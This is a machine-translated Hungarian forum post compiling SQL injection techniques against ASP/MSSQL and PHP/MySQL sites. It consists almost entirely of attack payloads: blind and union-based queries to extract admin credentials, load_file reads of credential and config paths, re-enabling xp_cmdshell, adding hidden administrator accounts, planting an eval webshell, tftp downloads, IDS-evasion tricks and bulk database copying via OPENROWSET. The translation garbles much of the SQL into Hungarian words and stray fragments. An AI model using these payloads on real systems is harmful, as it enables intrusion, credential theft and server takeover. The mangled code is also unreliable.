Ez a cikk egy tükör gépi fordítás, kérjük, kattintson ide, hogy ugorjon az eredeti cikkre.

Nézet: 20889|Válasz: 2

[Biztonságos kommunikáció] SQL Injection Book - ASP injekció sebezhetőség Teljes kapcsolat

[Linket másol]
Közzétéve 2015. 09. 28. 18:21:41 | | |


MSSQL adatbázis-kereszt lekérdezések (bűzös étel!) Sötét)

Préseld ki az utolsó csepp MS SQL-ből

Az SQL utasítás hivatkozásokat és a rekordkészlet objektumait részletesen elmagyarázzák

Az SQL Serverben tárolt eljárásokról

Készíts webshellet mssql biztonsági mentéssel

SQL_Injection fejlett alkalmazások

Cross-site SQL injection (laokai)

Weird SQL Injection (AMANL)

Fejlett SQL injekció SQL Server alkalmazásokban

Hogyan lehet SQL injekciót használni a könyvtárak átjárásához

Az SQL injekciós technikák végigjátszása (fordító: demonalex)

Néhány támadás SQL adatbázisok ellen

SQL injekciós támadási technika (JSW)

SQL_Injection Fejlett alkalmazások (APACHY)

Az SQL injekciójának szokatlan módszerei (Guilin Veteran)

Tartalék egy héjhoz

Beszélj a php+mysql injekciós állításszerkezetről (Heyhehehehe·≯Super· Hé)

Fejlett SQL injekció MySQL-szel (angel)

L'injection (My)SQL PHP-n keresztül

Oracle SQL Language

SQL manual injection enciklopédia

Az előfeltételekhez eszközök szükségesek: SQL Query Analyzer és SqlExec Sunx Version
==============================================================================================
1. Határozza meg, van-e befecskendezési pont
; és 1=1 és 1=2
2. Gondolom, a tábla neve nem több, mint adminisztrátor, adminisztrátor, felhasználói jelszó, stb.:
és 0<>(selectcount(*) a *-ból)
és 0<>(select count(*) admintól) — Határozd meg, létezik-e az admin tábla
3. Tippeld ki a számlák számát Ha 0-t találsz< térj vissza a helyes 1-es oldalra< adja vissza a hibaoldalt, hogy jelezze, hogy a szám 1
és 0<(select count(*) admintól)
és 1<(kiválasztva a count(*) adminisztrátortól)
4. Találjuk ki a mezőnevet Hozzáadjuk a mezőnevet a len( ) zárójelben.
és 1=(select count(*) az adminból, ahol len(*)>0)–
és 1=(válassza ki a count(*) az admintól, ahol len(felhasználói mező név)>0)
és 1=(válassza ki a count(*) admin-tól, ahol len(_blank>jelszó mező név)>0)
5. Tippeld ki minden mező hosszát Tippeld a hossz az, hogy >0-ra változtassuk, amíg a megfelelő oldal vissza nem jön
és 1=(select count(*) az adminból, ahol len(*)>0)
és 1=(select count(*) admin-tól, ahol len(name)>6) hiba
és 1=(válassz count(*) admin-tól, ahol len(name)>5) a helyes hossz 6
és 1=(válassz count(*) admintól, ahol len(name)=6) helyes
és 1=(válassza ki a count(*) adminisztrátortól, ahol len(password)>11) helyes
és 1=(válassza ki a count(*) adminisztrátortól, ahol len(password)>12) hibahossz 12
és 1=(válassza ki a count(*) admin-tól, ahol len(password)=12) helyes
6. Találd ki a karaktereket
és 1=(select count(*) admintól, ahol left(name,1)=a) — Találd ki a felhasználó fiókjának első számjegyét
és 1=(select count(*) admintól, ahol left(name,2)=ab)—Találd ki a felhasználó fiókjának második számjegyét
Csak adj hozzá egy karaktert egyszerre, hogy tippelj, elég számjegyet találj ki, és a számlaszám kijön
(1) Találd ki a táblázat nevét

Használt mondatok:
és létezik (válassz * a tábla nevéből)

Például:
és létezik (válassz * admintól)

Ha az oldal helyesen visszhangzik, az azt jelenti, hogy a táblázatnév, amit itt találtunk, helyes, és ha az oldal hibás, akkor az azt jelenti, hogy az itt írt táblanév is helytelen

, majd változtasd meg a táblázat nevét, és folytasd a találgatást, amíg ki nem találod.

Általában a leggyakrabban használt táblanevek admin, manage, user vagy a tool run be put
(2) Találd ki a mezőt

Használt mondatok:
és létezik (mezőnevet a tábla nevéből válassz)

Például:
és létezik (válaszd ki a felhasználónevet az admintól)

Itt, feltételezve, hogy az admin tábla az a táblázat, amit fent jól tippeltem, akkor meg akarom határozni, hogy létezik-e a felhasználónév mező, ezt az állítást kell használnom, ha az oldal

Ha az arc visszhangja helyes, az azt jelenti, hogy a kitalált mezőnév helyes, ha az oldal hibás, akkor az itt írt mezőnév is helytelen

, majd változtasd meg a mező nevét, és folytasd a találgatást, amíg ki nem találod.

Általánosságban a gyakori mezőnevek közé tartoznak a felhasználónév, jelszó, felhasználó, pass, név, pass, pwd, usr, psd és egyéb mezők
(3) rendezés

A sorrend az oldalon lévő mezők számának összege, előkészítve a következő közös lekérdezést
(4) Union Select

  1. Ha támogatja a közös lekérdezést, keresd meg a megjelenítési bitet http://www.xxx.com/product_show.asp?id=1 és az 1=2 unióválasztást

1,2,3,4,5,6,7,8,9,10,11
Tegyük fel, hogy a kijelző bitjei 5,6. Ezután csak a kezelő felhasználónevének és jelszavának megfelelő mezőneveket kell helyettesíteni a megjelenítő bit pozíciójára
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 az adminisztrációtól megtalálta a háttérbejelentkezést
  2. Ha a közös lekérdezés nem támogatott
Az adminisztrátor felhasználónevét és jelszóját nem lehet megszerezni közös lekérdezés nélkül – Ascii szó szerinti dekódolással
Kettő
  A sort by segítségével ítéld meg a táblázatban lévő bitek számát, és ha nem működik, használd az union select sort, hogy egyenként rendezd őket, itt 8 bitet feltételezünk
Három
  Használj közös lekérdezést a megjelenítő bitek meghatározásához
Négy
  A megjelenítési bitet használva megtaláld az adatbázis nevét, az adatbázis verzió, az 5.0 vagy annál magasabb verzió befecskendezése
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,user(),0x5c,
version()),8
Öt
  Az adatbázis név segítségével elkezdheted megkapni a táblanév sémáját, = aztán az adatbázis nevének HEX értékét, és kitalálhatod a táblanevet
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+from+information_schema.columns+where+
table_schema=0x666C6965725F6462617365
Hat
  Az elemezett táblapneve határozza meg az adminisztrátor táblacímének HEX értékét, = táblanév, és kitalálja a tábla mezőit
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(JELLEGZETES

+column_name),8+
from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572
Hét
  Miután megkaptuk a mezőket az admin táblában, nézzük meg a mezők tartalmát
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(JELLEGZETES

+felhasználónév,
0x5f,userpwd),8+from+pub_webmaster
Nyolc
  A Tool átvizsgálja a hátteret: Jelentkezz be, hogy feltöltsd a Trójat, miután megtaláltad, és ha nem találod a robots.txt fájlt, akkor hozzáférhetsz
Kilenc
  Ha nem találod a háttért, a MYSQL adminisztrátor jelszó feltárul
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(user,password),8+from+mysql.user
Tíz
  Véletlenszerűen elérsz egy útvonalat, és a visszajelzés az IIS6 alapértelmezett 404-es oldala, ami azt jelzi, hogy a weboldal szervere a Windows+IIS6+php+MySql környezet
  c:\\windows\\system32\\inetsrv\MetaBase.xml Ez az út megkapja a weboldal konfigurációs adatait.
  Konstrukció állítások http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
Tizenegy
  Elemezd a kódot és keresd meg a háttércímet
  Az első lépésben meg kell kapnunk a táblában szereplő mezők hosszát
Használt állítások:
és (a tábla nevéből válassz top 1 len-t (mező neve)>0
Például:
és (válassz a top 1 len(admin_name) admin-tól)>0
Az oldal normálisan jelenik meg, a mező hossza a admin_name nagyobb, mint 0, és beküldöm:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
Az oldal hibát mutat, hogy a mező 0 és 10 között van, és a hossz 5 a dichotómia használatával
Ugyanezzel a módszerrel a rendszergaztatói jelszó mező hosszának meghatározására 16 hosszúságot kapok
  2. lépés
Most térjünk át a második lépéshez: vegyünk egy bizonyos karaktert a mezőben, és megszerezzük a karakter ASCII kódját, amit használunk

Nyilatkozat:
és (a tábla nevéből válassz top 1 asc(mid(field name, N,1)))>0
Nézzük meg ezt a mondatot külön, először a legbelső mid (felhasználónév, 1,1) függvényt, amely az admin_name mező, N első karaktere

azt jelzi, hogy az első néhány karaktert el kell fogni,
Ezután a külső asc() függvény, amely a mid függvény által elfogott karaktereket ASCII kóddá alakítja, a legkülső felső 1, az első hely visszaküldési mezőjét képviseli

Akkor egy rekord,
A végén lévő ">0" az átalakított ASCII kód összehasonlítása ezzel a számmal, és végül az utolsó érték folyamatos változtatásával a lehallgatást kapja

Ismerd meg ennek a karakternek a részleteit.
ASCII kód
Benyújtás:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
Az oldal normálisan jelenik meg, ami azt jelzi, hogy ennek a karakternek az ASCII kódja nagyobb, mint 30.
Benyújtás:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
Az oldal normálisan jelenik meg, ami azt jelzi, hogy ennek a karakternek az ASCII kódja nagyobb, mint 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
Az ASCII kód, amit végül ehhez a karakterhez kaptam, 97
Hasonlítsuk össze az ASCII táblázatot:
Megállapítható, hogy az első karakter "a".
Ezután megítélem a második karakter ASCII kódját.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
Az oldal normálisan jelenik meg, jelezve, hogy a karakter ASCII kódja nagyobb, mint 90, és az utolsó érték mindig változik
Ugyanez a módszer adta az admin jelszavát, és az eredmény az lett, amit kaptam:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
és 1=(válassz top 1 count(*) az Adminból, ahol Asc(mid(pass,5,1))=51) –
Ez a lekérdezési nyilatkozat képes kitalálni a kínai felhasználót és _blank> jelszót. Csak cseréld le a következő számokat a kínai ASSIC kódra

Alakíts karakterekre.

Csoportosítjuk users.id 1=1–www.myhack58.com
Csoportosítás users.id szerint, users.username, users.password, users.privs 1=1–
; Insert a felhasználók értékeibe (666, támadó, foobar, 0xffff )–

AZ UNION Select TOP 1 COLUMN_blank>_NAME INFORMATION_blank>_SCHEMA-BŐL. OSZLOPOK Ahol

TABLE_blank>_NAME=logintable-
AZ UNION Select TOP 1 COLUMN_blank>_NAME INFORMATION_blank>_SCHEMA-BŐL. OSZLOPOK Ahol

TABLE_blank>_NAME=logintable Ahol COLUMN_blank>_NAME NEM BENNE (login_blank>_id)-
AZ UNION Select TOP 1 COLUMN_blank>_NAME INFORMATION_blank>_SCHEMA-BŐL. OSZLOPOK Ahol

TABLE_blank>_NAME=logintable Ahol COLUMN_blank>_NAME NEM BE

(login_blank>_id,login_blank>_name)-
UNION Select TOP 1 login_blank>_name a logintable-ből –
UNION Válassz TOP 1 jelszót a logintable-ból, ahol login_blank>_name=Rahul–
Nézd meg a javítást, amit a _blank> szerver játszott = rossz SP4 patch fekete sáv biztonsági háló
és 1=(select @@VERSION)–

Nézd meg a _blank> adatbázis-kapcsolati fiók jogosultságait, és normál értéket ad, ami bizonyítja, hogy ez a _blank> szerver szerepének rendszergazta-jogosultsága.
és 1=(Select IS_blank>_SRVROLEMEMBER(rendszerinka))–

Határozd meg, hogy az adatbázis fiók _blank> csatlakoztatva. (Használj SA fiókot a csatlakozáshoz, és visszatérj normál = bizonyítsd, hogy a kapcsolt fiók SA)
és sa=(Select System_blank>_user)–
és user_blank>_name()=dbo–
és 0<>(select user_blank>_name()–

Nézd meg, hogy xp_blank>_cmdshell törli-e
és 1=(Select count(*) FROM master.dbo.sysobjects, ahol xtype = X AND név = xp_blank>_cmdshell)



xp_blank>_cmdshell törlik, helyreállítják, és támogatja az abszolút helyreállítást
; EXECUTIVE master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
; EXECUTIVE master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== adatbázis-jog elérhető a weboldal fizikai útkódjának

==========================================================================
1、drop table [jm_tmp]; create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000)

null) -- Táblázat létrehozása


2、 delete [jm_tmp]; Helyezd be [jm_tmp] vezetői master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

A weboldal könyvtár bekerülése a táblapmezőbe


3、and (select top 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data]

desc)=0 '//Exponált mező


4. Dobd le a táblát [jm_tmp] -- töröld ezt a táblázatot.
a parancsnokság, hogy megszerezze a hölgyet
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\Egyéb állomásútvonalak
======================load_file() Gyakran használt érzékeny információk ===========================================
1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
A fenti kettő egy PHP fájl megtekintése, amely teljes egészében megjeleníti a kódot. Vannak olyan alkalmak, amikor egyes karakterek nem cserélődnek le, például a "<" a "space" helyett, ami visszatér

Weboldal. És a kódot nem lehet megtekinteni.

3. load_file(char(47)) felsorolhatja a FreeBSD és Sunos rendszerek gyökérkönyvtárát

4. Tekintse meg a Linux APACHE virtuális hoszt konfigurációs fájlját az /etc/httpd/conf/httpd.conf vagy az /usr/local/apche/conf/httpd.conf formátumban

5. C:\Program Files\Apache Group\Apache\conf\httpd.conf vagy C:\apache\conf\httpd.conf a WINDOWS megtekintéséhez

System Apache fájl

6. c:/Resin-3.0.14/conf/resin.conf Tekintse meg a jsp által fejlesztett weboldal gyantafájl konfigurációs adatait.

7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf a Linux rendszeren konfigurált JSP virtuális hoszt megtekintéséhez

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin explode path

11. C:\Windows\system32\inetsrv\MetaBase.xml IIS virtuális hoszt konfigurációs fájljának megtekintése

12. /usr/local/resin-3.0.22/conf/resin.conf a 3.0.22 RESIN konfigurációs fájljának megtekintéséhez

13. /usr/local/resin-pro-3.0.22/conf/resin.conf Ugyanaz, mint fentebb

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtuális házigazda

15. Az /etc/sysconfig/iptables a tűzfal szabályzatától függ

16. /usr/local/app/php5 b/php.ini PHP megfelelője

17. /etc/my.cnf MYSQL konfigurációs fájl

18. /etc/redhat kiadású rendszer a Red Hat

19 、C:\mysql\data\mysql\user. A MYD a MYSQL rendszer felhasználói jelszavában található

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 az IP megtekintéséhez.

21. /usr/local/app/php5 b/php.ini //PHP kapcsolódó beállítások

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtuális weboldal beállítások

23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\windows\my.ini

25. /etc/issue megjeleníti a Linux kernel terjesztési adatait

26、/etc/ftpuser

27. Ellenőrizze a műveleti naplófájlt a LINUX user.bash_history vagy .bash_profile alatt

28、/stb/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/logs/error.log
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/logs/error.log     
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Kísérletezz magad a reverse PING-t
; használd a mestert; declare @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s out; vezetője

sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –

Fiók hozzáadása
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

Hozzon létre egy virtuális könyvtár E-disket:
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–

Hozzáférési attribútumok: (webshellbe írással)
declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Különleges _blank> trükk a könyvtár kirobbanásához: :%5c=\ vagy %5 módosítása / és \ használatával a commitáláshoz
és 0<>(válassz a top 1 útvonalat a newtable-ből)–

Szerezd meg az adatbázis nevét (1-től 5-ig a rendszer azonosítói, és 6 felett is meg lehet ítélni)
és 1=(nevet válassz a master.dbo.sysdatabases adatbázisokból, ahol dbid=7)–
és 0<>(selectcount (*) a master.dbo.sysdatabases-ből, ahol name>1 és dbid=6)
Küldd be dbid-et sorban = 7,8,9.... További _blank> adatbázis nevek

és 0<>(válassz top 1 nevet a bbs.dbo.sysobjects helyéről, ahol xtype=U) egy táblapba törnek, feltéve, hogy admin
és 0<>(válassz a bbs.dbo.sysobjects top 1 nevét, ahol xtype=you és név nincs (Admin)-ben).

Más asztalok.
és 0<>(select count(*) a bbs.dbo.sysobjects-ből, ahol xtype=you és name=admin
és uid>(str(id))) Az UID numerikus értékét 18779569 uid=id feltételezzük
és 0<>(válassz a top 1 nevet a bbs.dbo.syscolumns közül, ahol id=18779569) admin mezőt kap, hamis

Beállítás user_blank>_id
és 0<>(válassz a bbs.dbo.syscolumns top 1 nevét, ahol id=18779569 és név nincs benne
(id,...)) más mezők feltárására
és 0< (válaszd ki a user_blank>_id BBS.dbo.admin oldalról, ahol a felhasználónév>1) a felhasználónev megszerzéséhez
Cserébe megkaphatod _blank> jelszót。。。。。 Tegyük fel, hogy vannak olyan mezők, mint user_blank>_id felhasználónév, jelszó stb

és 0<>(selectcount (*) a master.dbo.sysdatabases-ből, ahol name>1 és dbid=6)
és 0<>(a bbs.dbo.sysobjects top 1 nevet válassza, ahol xtype=U) a tábla nevéhez
és 0<>(válassz top 1 nevet a bbs.dbo.sysobjects fájlból, ahol xtype=you és név nem in(Address))
és 0<>(Select count(*) a bbs.dbo.sysobjects-ből, ahol xtype=U és name=admin és uid>(str(id)))

Határozd meg az id értéket
és 0<>(válassz a felső 1 nevet a BBS.dbo.syscolumns oldalról, ahol id=773577794) minden mező

?id=-1 Union Select 1,2,3,4,5,6,7,8,9,10,11,12,13,* adminitől
?id=-1 Union Select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 az admintól (az union, access szintén könnyen használható)

Szerezd meg a WEB útvonalat
; Készítsd el a táblát [dbo]. [csere] ([swappass][char](255)); –
és (válassz top 1 swappass-t a swapból)=1–
; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec

Mester... xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=RENDSZER

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test

OUTPUT beillesztés az útvonalak(útvonal) értékekbe(@test)–
; használd a ku1-et; –
; create table cmd (str image); – Készíts egy táblázat parancsnokságot a képtípusból
1. A xp_cmdshell kiterjesztési folyamat eltávolításának módja a következő állítás használatával:

ha létezik (válassz * a dbo.sysobjects között, ahol id=object_id(N'[dbo].[ xpcmdshell]') és

OBJECTPROPERTY(id,N'IsExtendedProc')=1)
az sp_dropextendedproc N'[dbo] vezetője. [xp_cmdshell]'

2. A bővítési folyamat hozzáadásának módja xp_cmdshell a következő állítás használatával:

(1)SQL lekérdezés analizátor

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2) Először töltsük ki a %s értéket a SqlExec Sunx Version Format opciójában, és írd be a CMD opcióba

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

Eltávolítani

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
Vannak xp_blank>_cmdshell tesztelési folyamatok:
; Végrehajtó mester.. xp_blank>_cmdshell igazgató
; Jiaoniang$ master.dbo.sp_blank>_addlogin végrehajtója; – SQL fiókok hozzáadása
; végrehajtó master.dbo.sp_blank>_password null, jiaoniang$, 1866574; –
; Végrehajtó master.dbo.sp_blank>_addsrvrolemember jiaoniang$ rendszergazda; –
; exec master.dbo.xp_blank>_cmdshell net felhasználó jiaoniang$ 1866574 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; –
Végrehajtó mester.. xp_blank>_servicecontrol a kezdés, ütemezd a _blank> szolgáltatás megkezdését
Végrehajtó mester.. xp_blank>_servicecontrol start, szerver
; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; Végrehajtó mester.. xp_blank>_cmdshell tftp - i youip get file.exe – Fájlok feltöltése TFTP-vel

; deklaráld @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; Declare @a sysname set @a=XP+_blank>_cm'+'dshell exec @a dir c:\
; kijelentse @a; halmaz @a=db_blank>_name(); biztonsági adatbázis @a lemez=IP-re A megosztott könyvtár bak.dat
Ha korlátozott, igen.
válassz * from openrowset(_blank>sqloledb,server; SA; ,válaszd az OK! vezetője

master.dbo.sp_blank>_addlogin hax)

Lekérdezési struktúra:
Válaszd ki * FROM hírek Ahol id=... ÉS téma=... ÉS .....
adminand 1=(Select count(*) a [user] helyből, ahol username=áldozat és right(left(userpass,01),1)=1)

és a userpass <>
123 kiválassza; –
; használd a mestert; –
:a vagy név, mint fff%; – Egy ffff nevű felhasználót mutat.
és 1<>(select count(email) a [felhasználó]-tól); –
; frissítés [felhasználók] állítsa be email=(válassz top 1 nevet a sysobjects-ből, ahol xtype=U és status>0) ahol

név=ffff; –
; frissítés [felhasználók] állítsa be email=(válassz top 1 azonosítót a sysobjects-ból, ahol xtype=you és name=ad) ahol

név=ffff; –
; frissítés [felhasználók] állítsa be email=(válassz top 1 nevet a sysobjects-ből, ahol xtype=you és id>581577110)

ahol név=ffff; –
; frissítés [felhasználók] állítsa be az email=(select top 1 count(ID) a jelszóból), ahol name=ffff; –
; frissítés [felhasználók] állítsa be az email=(válassz top 1 PWD-t a jelszóból, ahol ID=2) ahol név=ffff; –
; frissítés [felhasználók] állítsa be e-mail=(válassz a jelszóból a felső 1 nevet, ahol azonosító=2) ahol név=ffff; –
A fenti állítás az, hogy az első felhasználói táblát kell megszerezni az _blank> adatbázisban, és a tábla nevét az ffff felhasználó e-mail mezőjébe helyezni.
Az ffff felhasználói profiljának megtekintésével megkaphatod az első táblát, amit AD hívnak
Ezután szerezd meg ennek a táblázatnak az azonosítóját az asztal név szerint, hogy megkapd a második tábla nevét

insert into users values( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
Insert into user values (667,123,123,0xffff)–
Insert into User értékek (123, admin–, password, 0xffff)–
; és user>0
; és (select count(*) a sysobjects-ből)>0
; és (select count(*) a mysysobjects-ből)>0 // a access_blank> adatbázishoz

Felsorolja az adattábla nevét
; frissítse AAA set AAA=(válassz felső 1 nevet a sysobjects-ből, ahol xtype=U és status>0); –
Itt frissítik az első tábla nevét az AAA mezőre.
Olvasd el az első táblát, a második táblázatot pedig így lehet olvasni (add és name a feltétel után<> az épp kapott tábla neve).
; frissítse AAA setet AAA=(válassz a felső 1 nevet a sysobjects-ből, ahol xtype=U és status>0, és

név<>szavazás); –
Ekkor id=1552 és létezik (válassz * az aaa-ból, ahol aaa>5)
Olvasd el a második táblát, és olvasd el egyenként, amíg már nem lesz.
Az olvasómező így néz ki:
; frissítse AAA set AAA=(select top 1 col_blank>_name(object_blank>_id(tábla név),1)); –
Ekkor id=152 és létezik (válassz * az aaa-ból, ahol aaa>5) hibát kap, és megkapja a mező nevét
; frissítse az AAA set AAA=(select top 1 col_blank>_name(object_blank>_id(tábla név),2)); –
Ekkor id=152 és létezik (válassz * az aaa-ból, ahol aaa>5) hibát kap, és megkapja a mező nevét

[Adattábla név megszerzése] [Frissítsd a mezőértéket a tábla nevére, majd olvasd fel ennek a mezőnek az értékét, hogy megkapd a táblanevet]
Frissítés táblanév set mező=(Válassz Top 1 nevet a sysobjects-ből, ahol xtype=U és status>0 [ és név<>

A táblanév, amit kapsz, Keress egy plusz egy]) [ ahol feltétel] válassz a felső 1 nevet a sysobjects-ból, ahol xtype=te és

állapot>0 és név nincs benne(táblázat1,táblázat2,...)
Egy adatbázis-adminisztrátori és rendszergazdai fiók létrehozása _blank> _blank> sebezhetőségi injekció az SQLSERVER-en keresztül [A jelenlegi fióknak a SYSADMIN csoportnak kell lennie]

[Adattábla mező neve megszerezése] [Frissítsd a mező értékét a mező nevére, majd olvasd fel ennek a mezőnek értékét, hogy megkapd a mező nevét]
Frissítés táblanév készlete mező=(select top 1 col_blank>_name(object_blank>_id (adattábla neve lekérdezésre), mezőoszlop

Például: 1) [ ahol feltétel]

Az IDS detektálás megkerülése [változók segítségével]
; deklaráld @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; Declare @a sysname set @a=XP+_blank>_cm'+'dshell exec @a dir c:\

1. Nyisd meg a távoli _blank> adatbázist
Alapvető szintaxis
select * from OPENROWSET (SQLOLEDB, server=servername; uid=sa; pwd=123, válassz * az 1. táblázatból )
Paraméterek: (1) OLEDB szolgáltató neve
2. A csatlakozási string paraméter bármely csatlakozó lehet, például
select * from OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Network=DBMSSOCN; cím=192.168.0.1,1433; ,

Válassz * a táblázatból
3. Másoljuk le a célállomás teljes _blank> adatbázisát, és helyezd be az összes távoli táblát a helyi táblába.

Alapvető szintaxis:
insert into OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, válassz * a táblázat1-ből) Válassz

* a 2. táblázatból
